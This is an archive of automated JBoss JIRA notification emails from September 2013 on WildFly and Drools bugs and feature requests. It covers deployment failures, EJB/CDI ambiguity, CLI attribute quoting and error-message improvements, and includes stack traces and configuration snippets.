> 23:09:29,392 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-7) MSC000001: Failed to start service jboss.deployment.unit."mssms-ear.ear".STRUCTURE: org.jboss.msc.service.Sta
> rtException in service jboss.deployment.unit."mssms-ear.ear".STRUCTURE: JBAS018733: Failed to process phase STRUCTURE of deployment "mssms-ear.ear"
>         at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:166) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
>         at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011060: Failed to process children for EAR ["/work/java/wildfly-8.0.0.Beta1-SNAPSHOT/standalone/deplo
> yments/mssms-ear.ear"]
>         at org.jboss.as.ee.structure.EarStructureProcessor.deploy(EarStructureProcessor.java:237)
>         at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:159) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
>         ... 5 more
> Caused by: java.io.FileNotFoundException: /work/java/wildfly-8.0.0.Beta1-SNAPSHOT/standalone/deployments/mssms-ear.ear/mssms.war/css/test.css (Keine Berechtigung)
>         at java.io.FileOutputStream.open(Native Method) [rt.jar:1.7.0_40]
>         at java.io.FileOutputStream.<init>(FileOutputStream.java:221) [rt.jar:1.7.0_40]
>         at java.io.FileOutputStream.<init>(FileOutputStream.java:171) [rt.jar:1.7.0_40]
>         at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:725)
>         at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:722)
>         at org.jboss.vfs.VFSUtils.recursiveCopy(VFSUtils.java:722)
>         at org.jboss.as.ee.structure.EarStructureProcessor.exportExplodedWar(EarStructureProcessor.java:277)
>         at org.jboss.as.ee.structure.EarStructureProcessor.createResourceRoot(EarStructureProcessor.java:261)
>         at org.jboss.as.ee.structure.EarStructureProcessor.deploy(EarStructureProcessor.java:192)
>         ... 6 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 17 20:27:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 20:27:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1620) EJB in CDI enabled module
 gets registered twice leading to WELD-001409 Ambiguous dependencies...
In-Reply-To: <JIRA.12495442.1372692661000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495442.1372692661000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495442.1372692661000.31643.1379464024241@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1620?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805265#comment-12805265 ] 

RH Bugzilla Integration commented on WFLY-1620:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 980183|https://bugzilla.redhat.com/show_bug.cgi?id=980183] from MODIFIED to ON_QA
                
> EJB in CDI enabled module gets registered twice leading to WELD-001409 Ambiguous dependencies...
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1620
>                 URL: https://issues.jboss.org/browse/WFLY-1620
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Brad Maxwell
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Alpha3
>
>
> If you have this no-interface @Stateless EJB in the module and have a
> beans.xml inside the module jar as well and then have a deployment
> depends on & imports the annotations, and then uses @Inject TestEjb,
> Weld will complain that there are two options an EJB and a ManagedBean
> and it doesn't know which to inject. According to [1] it should only be
> considered a managed bean if "It is not annotated with an EJB
> component-defining annotation or declared as an EJB bean class in
> |ejb-jar.xml|." 
> The error:
> WELD-001409 Ambiguous dependencies for type [TestEjb] with qualifiers [@Default] at injection point [[field] @Inject test.webapp.TestService.testEjb].
> Possible dependencies [[Session bean [class test.TestEjb with qualifiers [@Any @Default]; local interfaces are [TestEjb], Managed Bean [class test.TestEjb] with qualifiers [@Any @Default]]] 
> @Stateless
> public class TestEjb
> {
> public String hello() {
> return "Hello";
> }
> }
> If I move all of the classes into the test war, then Weld doesn't have
> an issue, so it seems there is some difference when the code is put into
> the modules directory.
> [1] http://docs.jboss.org/weld/reference/1.0.1-Final/en-US/html_single/#d0e792 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 20:27:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 20:27:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1409) custom mail server should
 allow definition of independent properties
In-Reply-To: <JIRA.12493068.1369815646000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493068.1369815646000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493068.1369815646000.31647.1379464024434@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1409?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805266#comment-12805266 ] 

RH Bugzilla Integration commented on WFLY-1409:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 968200|https://bugzilla.redhat.com/show_bug.cgi?id=968200] from MODIFIED to ON_QA
                
> custom mail server should allow definition of independent properties
> --------------------------------------------------------------------
>
>                 Key: WFLY-1409
>                 URL: https://issues.jboss.org/browse/WFLY-1409
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Mail
>            Reporter: Jakub Cechacek
>            Assignee: Tomaz Cerar
>            Priority: Minor
>             Fix For: 8.0.0.Beta1
>
>
> Current implementation doesn't allow definition of independent properties - instead they will always have form of "mail.$ServerName.someprop". Thus it's not possible to setup properties such as "mail.transport.protocol"[1] inside custom server. 
> Also customer will unlikely design custom transport protocol from scratch. More often it will be just a wrapper around existing protocol such as smtp with some additional functionality (this is also case of [2]). However as a workaround one can define custom server together with server for underlying protocol within one mail session. 
> [1] which will cause session.getTransport(); to return null as default protocol is not set. 
> [2] https://c.na7.visual.force.com/apex/Case_View?id=500A000000A4N8b

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 20:27:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 20:27:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1785) WAR_BUNDLES_JSF_IMPL does not
 work for EAR files
In-Reply-To: <JIRA.12497331.1374754962000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497331.1374754962000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497331.1374754962000.31652.1379464024675@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1785?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805267#comment-12805267 ] 

RH Bugzilla Integration commented on WFLY-1785:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 991276|https://bugzilla.redhat.com/show_bug.cgi?id=991276] from MODIFIED to ON_QA
                
> WAR_BUNDLES_JSF_IMPL does not work for EAR files
> ------------------------------------------------
>
>                 Key: WFLY-1785
>                 URL: https://issues.jboss.org/browse/WFLY-1785
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF
>    Affects Versions: 8.0.0.Alpha3
>         Environment: Windows 7 Professional.  Service Pack 1. 32 Bit.
>            Reporter: William Lovett
>            Assignee: Stan Silvert
>            Priority: Minor
>             Fix For: 8.0.0.Alpha4
>
>
> Hello Learned and Astonishly Charming JBoss Associates,
> I've been trying for quite some time now to get my successfully deployed WAR to become a successfully deployed EAR.  Much to my chagrin, this has been my white whale, and it just might kill me.
> In a nutshell, the attached EAR file contains a WAR.  If you deploy that WAR file everything works smooth as butter.  As soon as you put it in an EAR format however, you get the following well placed riposte:
> 19:33:57,513 WARN  [org.jboss.as.jsf] (MSC service thread 1-2) JBAS012603: Unknown JSF version 'WAR_BUNDLES_JSF_IMPL'.  Default version 'main' will be used instead.
> Not cool, JBoss.  Not cool.
> I've tried moving the jars to different places in the WAR/EAR.  I've tried using Manifest files.  I've tried colorfully adorned four letter expletives.  JBoss is unmoved.  Does anyone know why JBoss is rejecting my JSF advances?  Can the relationship be fixed?
> Using EAP 6.1 which I believe is equivalent to AS 7.2.
> Thanks in advance,
> Will
> PS:  The forum didn't like me attaching a 1.8 meg file so here's a download link instead
> http://www.williverstravels.com/JDev/Forums/Threads/230850/TestEar.ear

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 20:27:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 20:27:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1776) resource-adapter id attribute
 is forced to match rar name
In-Reply-To: <JIRA.12497520.1375113090000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497520.1375113090000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497520.1375113090000.31659.1379464024911@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1776?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805268#comment-12805268 ] 

RH Bugzilla Integration commented on WFLY-1776:
-----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 996971|https://bugzilla.redhat.com/show_bug.cgi?id=996971] from MODIFIED to ON_QA
                
> resource-adapter id attribute is forced to match rar name
> ---------------------------------------------------------
>
>                 Key: WFLY-1776
>                 URL: https://issues.jboss.org/browse/WFLY-1776
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Johnathon Lee
>            Assignee: Stefano Maestri
>         Attachments: JBJCA-1066-reproducer.zip
>
>
> If the id of the resource adapter element does not match the name of the
> RAR file, the CLI will throw the following error on RA activation:
> {
>     "outcome" => "failed",
>     "failure-description" => "rar not yet deployed",
>     "rolled-back" => true
> }

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 20:27:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 20:27:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-789) HornetQ native library(AIO)
 are loaded by default - for transaction manager using hornetq object store
In-Reply-To: <JIRA.12487704.1363871144000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12487704.1363871144000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12487704.1363871144000.31669.1379464025423@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-789?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805270#comment-12805270 ] 

RH Bugzilla Integration commented on WFLY-789:
----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 913117|https://bugzilla.redhat.com/show_bug.cgi?id=913117] from MODIFIED to ON_QA
                
> HornetQ native library(AIO) are loaded by default - for transaction manager using hornetq object store
> ------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-789
>                 URL: https://issues.jboss.org/browse/WFLY-789
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> The issue cloned for upstream from an EAP6 bugzilla.
> original description:
> {quote}
> It seems that in case that of using hornetq for implementation of object store (configuration of transaction subsystem via <use-hornetq-store/> tag) the native library (AIO) is used automatically without necessity of user confirmation.
> For EAP 6.0.1 was decided that native library can't be used without explicit customer configuration request. Please check discussion on bug #900591.
> The NIO should be used until customer defined otherwise.
> The configuration option is missing in TM and after the adding it the EAP configuration should reflect fact that the default behaviour should be NIO.
> {quote}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 20:27:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 20:27:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-924) Reduce the log level of
 optional components failing to start log message (JBAS011006 message id)
In-Reply-To: <JIRA.12470562.1342479956000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12470562.1342479956000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12470562.1342479956000.31679.1379464025808@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-924?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805273#comment-12805273 ] 

RH Bugzilla Integration commented on WFLY-924:
----------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 900711|https://bugzilla.redhat.com/show_bug.cgi?id=900711] from MODIFIED to ON_QA
                
> Reduce the log level of optional components failing to start log message (JBAS011006 message id)
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-924
>                 URL: https://issues.jboss.org/browse/WFLY-924
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: EE
>    Affects Versions: 8.0.0.Alpha2
>         Environment: JBoss EAP 6.0 GA, web services subsystem removed, war deployed containing Metro or CXF web services implementation
>            Reporter: Brad Maxwell
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Alpha3
>
>
> It tries to create this class if CXF is packaged in the war: org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation 
> And this stack is logged as a warning:
> 11:08:40,879 INFO  [org.jboss.as.osgi] (MSC service thread 1-1) JBAS011907: Register module: Module "deployment.test.war:main" from Service Module Loader
> 11:08:40,905 WARN  [org.jboss.as.ee] (MSC service thread 1-6) JBAS011006: Not installing optional component org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation due to exception: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011054: Could not find default constructor for class org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation
>   at org.jboss.as.ee.component.ComponentDescription$DefaultComponentConfigurator.configure(ComponentDescription.java:606) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.ee.component.deployers.EEModuleConfigurationProcessor.deploy(EEModuleConfigurationProcessor.java:83) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:116)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746)
>   at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_30]
>   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_30]
>   at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_30]
> If Metro is packaged in the war, it tries to load com.sun.xml.ws.transport.http.servlet.WSAsyncListener and logs a warning with this stack: 
> 16:48:57,302 WARN  [org.jboss.as.ee] (MSC service thread 1-1) JBAS011006: Not installing optional component com.sun.xml.ws.transport.http.servlet.WSAsyncListener$1 due to exception: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011054: Could not find default constructor for class com.sun.xml.ws.transport.http.servlet.WSAsyncListener$1
>   at org.jboss.as.ee.component.ComponentDescription$DefaultComponentConfigurator.configure(ComponentDescription.java:606) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.ee.component.deployers.EEModuleConfigurationProcessor.deploy(EEModuleConfigurationProcessor.java:83) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:116)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746)
>   at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_30]
>   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_30]
>   at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_30]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 21:25:05 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Tue, 17 Sep 2013 21:25:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-265) Enable recursive traiting
 and dynamic field typing
In-Reply-To: <JIRA.12500877.1379467491106@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500877.1379467491106@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500877.1379467491106.31707.1379467505243@jira02.app.mwc.hst.phx2.redhat.com>

Davide Sottara created DROOLS-265:
-------------------------------------

             Summary: Enable recursive traiting and dynamic field typing
                 Key: DROOLS-265
                 URL: https://issues.jboss.org/browse/DROOLS-265
             Project: Drools
          Issue Type: Feature Request
      Security Level: Public (Everyone can see)
    Affects Versions: 5.5.0.Final
            Reporter: Davide Sottara
            Assignee: Mark Proctor
            Priority: Critical
             Fix For: 5.5.1.Final, 6.0.0.Final


Consider the following scenario: 

declare trait A 
  sub : int 
end
declare X end

declare trait Foo
  fld : A
end

declare Bar
@Traitable( logic = true )  // new mode
  fld : X
end

If an instance b of Bar is traited with Foo, the value of its field "fld" 
should in turn be traited with A.
Truth maintenance and transparent casting are required. 
The goal is to write rules such as:

when Foo( fld isA A, fld.sub == 0, .... ) then ..

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 22:09:03 2013
From: jira-events at lists.jboss.org (Chao Wang (JIRA))
Date: Tue, 17 Sep 2013 22:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2051) CLI write attribute dialog
 for string value should enclose value in generated command to double quotes
In-Reply-To: <JIRA.12500587.1378980513000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500587.1378980513000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500587.1378980513000.31748.1379470143761@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2051?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Chao Wang reassigned WFLY-2051:
-------------------------------

    Assignee: Alexey Loubyansky  (was: Chao Wang)


assign this to Alexey since he has a proper fix per previous comment
                
> CLI write attribute dialog for string value should enclose value in generated command to double quotes
> ------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2051
>                 URL: https://issues.jboss.org/browse/WFLY-2051
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Chao Wang
>            Assignee: Alexey Loubyansky
>
> {noformat}
> Wildfly issue for https://bugzilla.redhat.com/show_bug.cgi?id=988283
> String value entered in write attribute dialog is written to command without double quotes, which is wrong in many cases
> Eg. when user enteres in dialog value ${jboss.bind.address:127.0.0.1}
> following command is generated:
> /subsystem=webservices/:write-attribute(name=wsdl-host,value=${jboss.bind.address:127.0.0.1})
> Correctly should be generated command 
> /subsystem=webservices/:write-attribute(name=wsdl-host,value="${jboss.bind.address:127.0.0.1}")
> 1. start AS
>   ./bin/standalone.sh
> 2. start CLI GUI 
>   ./bin/jboss-cli.sh --gui &
> 3. click on node subsystem=webservices of /
> 4. right click on wsdl-host and select write-attribute
> 5. enter value ${jboss.bind.address:127.0.0.1} and click OK
> 6. submit generated command
> 7. reload node
>   click on node subsystem=webservices of / (close node)
>   click on node subsystem=webservices of / (open node)
> Result is wsdl-host=$ instead of wsdl-host=${jboss.bind.address:127.0.0.1}
> Workaround: in dialog box enclose the value in double quotes
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 22:46:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Tue, 17 Sep 2013 22:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2102) Improve deployment annotation
 parsing error message
In-Reply-To: <JIRA.12500878.1379471722000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500878.1379471722000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500878.1379471722000.31771.1379472363402@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2102?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd moved MSC-135 to WFLY-2102:
---------------------------------------

              Project: WildFly  (was: Modular Service Container)
                  Key: WFLY-2102  (was: MSC-135)
           Issue Type: Enhancement  (was: Bug)
    Affects Version/s:     (was: 1.0.4.GA)

    
>  Improve deployment annotation parsing error message 
> -----------------------------------------------------
>
>                 Key: WFLY-2102
>                 URL: https://issues.jboss.org/browse/WFLY-2102
>             Project: WildFly
>          Issue Type: Enhancement
>            Reporter: Brad Maxwell
>            Assignee: Brad Maxwell
>
> Improve deployment annotation parsing error message 
> Code such as this below, will error with IllegalArgumentException: Empty name segment is not allowed for env.  The env is not enough information to identify what the issue is.
> @Singleton
> @Startup
> public class TestEJB {
>   @Resource(name="/queue/test")
>   private Queue queue;
> }
> Caused by: java.lang.IllegalArgumentException: Empty name segment is not allowed for env
> 	at org.jboss.msc.service.ServiceName.of(ServiceName.java:85) [jboss-msc-1.0.4.GA-redhat-1.jar:1.0.4.GA-redhat-1]
> 	at org.jboss.msc.service.ServiceName.append(ServiceName.java:112) [jboss-msc-1.0.4.GA-redhat-1.jar:1.0.4.GA-redhat-1]
> 	at org.jboss.as.naming.deployment.ContextNames.buildServiceName(ContextNames.java:183)
> 	at org.jboss.as.naming.deployment.ContextNames$BindInfo.<init>(ContextNames.java:195)
> 	at org.jboss.as.naming.deployment.ContextNames$BindInfo.<init>(ContextNames.java:186)
> 	at org.jboss.as.naming.deployment.ContextNames.bindInfoFor(ContextNames.java:141)
> 	at org.jboss.as.ee.component.OptionalLookupInjectionSource.getResourceValue(OptionalLookupInjectionSource.java:84)
> 	at org.jboss.as.ee.component.ComponentDescription$InjectedConfigurator.configureDependency(ComponentDescription.java:1019)
> 	at org.jboss.as.ee.component.ComponentDescription$InjectedConfigurator.configureDependency(ComponentDescription.java:998)
> 	at org.jboss.as.ee.component.deployers.ComponentInstallProcessor.deployComponent(ComponentInstallProcessor.java:138)
> 	at org.jboss.as.ee.component.deployers.ComponentInstallProcessor.deploy(ComponentInstallProcessor.java:95)
> 	... 6 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 22:46:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Tue, 17 Sep 2013 22:46:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2102) Improve deployment annotation
 parsing error message
In-Reply-To: <JIRA.12500878.1379471722000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500878.1379471722000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500878.1379471722000.31774.1379472363563@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2102?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-2102:
------------------------------

    Component/s: EE

    
>  Improve deployment annotation parsing error message 
> -----------------------------------------------------
>
>                 Key: WFLY-2102
>                 URL: https://issues.jboss.org/browse/WFLY-2102
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: EE
>            Reporter: Brad Maxwell
>            Assignee: Brad Maxwell
>
> Improve deployment annotation parsing error message 
> Code such as this below, will error with IllegalArgumentException: Empty name segment is not allowed for env.  The env is not enough information to identify what the issue is.
> @Singleton
> @Startup
> public class TestEJB {
>   @Resource(name="/queue/test")
>   private Queue queue;
> }
> Caused by: java.lang.IllegalArgumentException: Empty name segment is not allowed for env
> 	at org.jboss.msc.service.ServiceName.of(ServiceName.java:85) [jboss-msc-1.0.4.GA-redhat-1.jar:1.0.4.GA-redhat-1]
> 	at org.jboss.msc.service.ServiceName.append(ServiceName.java:112) [jboss-msc-1.0.4.GA-redhat-1.jar:1.0.4.GA-redhat-1]
> 	at org.jboss.as.naming.deployment.ContextNames.buildServiceName(ContextNames.java:183)
> 	at org.jboss.as.naming.deployment.ContextNames$BindInfo.<init>(ContextNames.java:195)
> 	at org.jboss.as.naming.deployment.ContextNames$BindInfo.<init>(ContextNames.java:186)
> 	at org.jboss.as.naming.deployment.ContextNames.bindInfoFor(ContextNames.java:141)
> 	at org.jboss.as.ee.component.OptionalLookupInjectionSource.getResourceValue(OptionalLookupInjectionSource.java:84)
> 	at org.jboss.as.ee.component.ComponentDescription$InjectedConfigurator.configureDependency(ComponentDescription.java:1019)
> 	at org.jboss.as.ee.component.ComponentDescription$InjectedConfigurator.configureDependency(ComponentDescription.java:998)
> 	at org.jboss.as.ee.component.deployers.ComponentInstallProcessor.deployComponent(ComponentInstallProcessor.java:138)
> 	at org.jboss.as.ee.component.deployers.ComponentInstallProcessor.deploy(ComponentInstallProcessor.java:95)
> 	... 6 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 22:48:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Tue, 17 Sep 2013 22:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2102) Improve deployment annotation
 parsing error message
In-Reply-To: <JIRA.12500878.1379471722000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500878.1379471722000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500878.1379471722000.31778.1379472483473@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2102?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805293#comment-12805293 ] 

David Lloyd commented on WFLY-2102:
-----------------------------------

The naming context name should be validated before constructing a service name for it.
                
>  Improve deployment annotation parsing error message 
> -----------------------------------------------------
>
>                 Key: WFLY-2102
>                 URL: https://issues.jboss.org/browse/WFLY-2102
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: EE
>            Reporter: Brad Maxwell
>            Assignee: Brad Maxwell
>
> Improve deployment annotation parsing error message 
> Code such as this below, will error with IllegalArgumentException: Empty name segment is not allowed for env.  The env is not enough information to identify what the issue is.
> @Singleton
> @Startup
> public class TestEJB {
>   @Resource(name="/queue/test")
>   private Queue queue;
> }
> Caused by: java.lang.IllegalArgumentException: Empty name segment is not allowed for env
> 	at org.jboss.msc.service.ServiceName.of(ServiceName.java:85) [jboss-msc-1.0.4.GA-redhat-1.jar:1.0.4.GA-redhat-1]
> 	at org.jboss.msc.service.ServiceName.append(ServiceName.java:112) [jboss-msc-1.0.4.GA-redhat-1.jar:1.0.4.GA-redhat-1]
> 	at org.jboss.as.naming.deployment.ContextNames.buildServiceName(ContextNames.java:183)
> 	at org.jboss.as.naming.deployment.ContextNames$BindInfo.<init>(ContextNames.java:195)
> 	at org.jboss.as.naming.deployment.ContextNames$BindInfo.<init>(ContextNames.java:186)
> 	at org.jboss.as.naming.deployment.ContextNames.bindInfoFor(ContextNames.java:141)
> 	at org.jboss.as.ee.component.OptionalLookupInjectionSource.getResourceValue(OptionalLookupInjectionSource.java:84)
